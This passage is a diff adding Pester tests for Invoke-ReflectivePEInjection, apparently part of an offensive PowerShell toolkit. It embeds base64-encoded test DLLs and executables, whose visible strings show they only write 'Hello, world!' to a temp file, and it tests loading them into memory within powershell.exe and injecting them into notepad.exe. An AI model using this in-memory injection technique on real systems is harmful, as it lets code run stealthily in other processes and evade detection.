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AAAAALIlAAAAAAAAviUAAAAAAADSJQAAAAAAAAQmAAAAAAAADCYAAAAAAAAWJgAAAAAAACQmAAAAAAAAMiYAAAAAAAAmJQAAAAAAABQlAAAAAAAABCUAAAAAAAD2JAAAAAAAAOgkAAAAAAAAhCUAAAAAAAAAAAAAAAAAAIgAQ3JlYXRlRmlsZUEAIgFFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBADQFV3JpdGVGaWxlAEwCR2V0UHJvY0FkZHJlc3MAABsCR2V0TW9kdWxlSGFuZGxlQQAAUgBDbG9zZUhhbmRsZQBLRVJORUwzMi5kbGwAAFgBX1hjcHRGaWx0ZXIA8gFfYW1zZ19leGl0AACnAV9fZ2V0bWFpbmFyZ3MAzgFfX3NldF9hcHBfdHlwZQAAGAZleGl0AABYAl9leGl0AAoCX2NleGl0AAAaAl9jb25maWd0aHJlYWRsb2NhbGUA0AFfX3NldHVzZXJtYXRoZXJyAADiAl9pbml0dGVybV9lAOECX2luaXR0ZXJtAFwBX19DX3NwZWNpZmljX2hhbmRsZXIAAKgBX19pbml0ZW52AHgCX2Ztb2RlAAAZAl9jb21tb2RlAAAzAT90ZXJtaW5hdGVAQFlBWFhaAJkBX19jcnRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAE1TVkNSMTIwLmRsbAAAWwNfbG9jawDHBF91bmxvY2sACQJfY2FsbG9jX2NydACfAV9fZGxsb25leGl0AAIEX29uZXhpdADuAEVuY29kZVBvaW50ZXIAqQNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgDHAUdldEN1cnJlbnRQcm9jZXNzSWQAywFHZXRDdXJyZW50VGhyZWFkSWQAAIACR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAywBEZWNvZGVQb2ludGVyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD+/////////wAAAAAyot8tmSsAAM1dINJm1P//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAJgQAABAIgAAmBAAAHwRAABQIgAAfBEAAIwRAABoIgAAjBEAAFoSAAB4IgAAXBIAAL8SAACAIgAAwBIAADAUAACIIgAAMBQAAEIUAAB4IgAARBQAAHwUAAB4IgAAfBQAAJMUAAB4IgAA8BQAAD0VAACoIgAAcBUAABwWAADMIgAAIBYAAG4WAAAAIwAAcBYAACAXAADYIgAAIBcAADcXAAB4IgAAOBcAAHAXAAAIIwAAcBcAAKgXAAAIIwAA4BcAAP4XAAD4IgAAABgAACAYAAD4IgAAIBgAADsYAAD4IgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAFAAAACihQKFIoVChCKIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=='
+ $Encoded32BitExe = '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'
+
+ $WideStrDllBytes32 = [Convert]::FromBase64String($Encoded32BitWStringDll)
+ $StrDllBytes32 = [Convert]::FromBase64String($Encoded32BitStringDll)
+ $VoidDllBytes32 = [Convert]::FromBase64String($Encoded32BitVoidDll)
+ $WideStrDllBytes64 = [Convert]::FromBase64String($Encoded64BitWStringDll)
+ $StrDllBytes64 = [Convert]::FromBase64String($Encoded64BitStringDll)
+ $VoidDllBytes64 = [Convert]::FromBase64String($Encoded64BitVoidDll)
+ $ExeBytes32 = [Convert]::FromBase64String($Encoded32BitExe)
+ $ExeBytes64 = [Convert]::FromBase64String($Encoded64BitExe)
+
+ if ([IntPtr]::Size -eq 4) {
+ $PowerShell32bit = $True
+ $WideStrDllBytes = $WideStrDllBytes32
+ $StrDllBytes = $StrDllBytes32
+ $VoidDllBytes = $VoidDllBytes32
+ $ExeBytes = $ExeBytes32
+ } else {
+ $PowerShell32bit = $False
+ $WideStrDllBytes = $WideStrDllBytes64
+ $StrDllBytes = $StrDllBytes64
+ $VoidDllBytes = $VoidDllBytes64
+ $ExeBytes = $ExeBytes64
+ }
+
+ Context 'DLL loading' {
+ It 'should load a DLL (wchar_t*) in memory within powershell.exe and returns "Hello, world!"' {
+ $Result = Invoke-ReflectivePEInjection -PEBytes $WideStrDllBytes -FuncReturnType WString -DoNotZeroMZ
+
+ $Result | Should Not BeNullOrEmpty
+ $Result | Should Be 'Hello, world!'
+ }
+
+ It 'should load a DLL (char*) in memory within powershell.exe and returns "Hello, world!"' {
+ $Result = Invoke-ReflectivePEInjection -PEBytes $StrDllBytes -FuncReturnType String -DoNotZeroMZ
+
+ $Result | Should Not BeNullOrEmpty
+ $Result | Should Be 'Hello, world!'
+ }
+
+ It 'should load a DLL (void) in memory within powershell.exe and writes "Hello, world!" to %TEMP%\testoutput.txt' {
+ $TestOutputPath = Join-Path $Env:TEMP 'testoutput.txt'
+ if (Test-Path $TestOutputPath) { Remove-Item $TestOutputPath }
+
+ Invoke-ReflectivePEInjection -PEBytes $VoidDllBytes -FuncReturnType Void -DoNotZeroMZ
+
+ Start-Sleep -Seconds 2
+ $TestOutputPath | Should Exist
+ $Result = Get-Content $TestOutputPath
+
+ $Result | Should Not BeNullOrEmpty
+ $Result | Should Be 'Hello, world!'
+ }
+
+ It 'should load a DLL (void) in memory within notepad.exe and write "Hello, world!" to %TEMP%\testoutput.txt' {
+ $64BitOS = $False
+ if ($Env:ProgramW6432) { $64BitOS = $True }
+
+ # When launching notepad.exe, the bitness of the process needs to match that of powershell.exe
+ if ($PowerShell32bit -and $64BitOS) {
+ # 32-bit PowerShell on a 64-bit OS needs to launch Wow64 notepad
+ $NotepadPath = "$($Env:SystemRoot)\SysWow64\notepad.exe"
+ } else {
+ $NotepadPath = "$($Env:SystemRoot)\System32\notepad.exe"
+ }
+
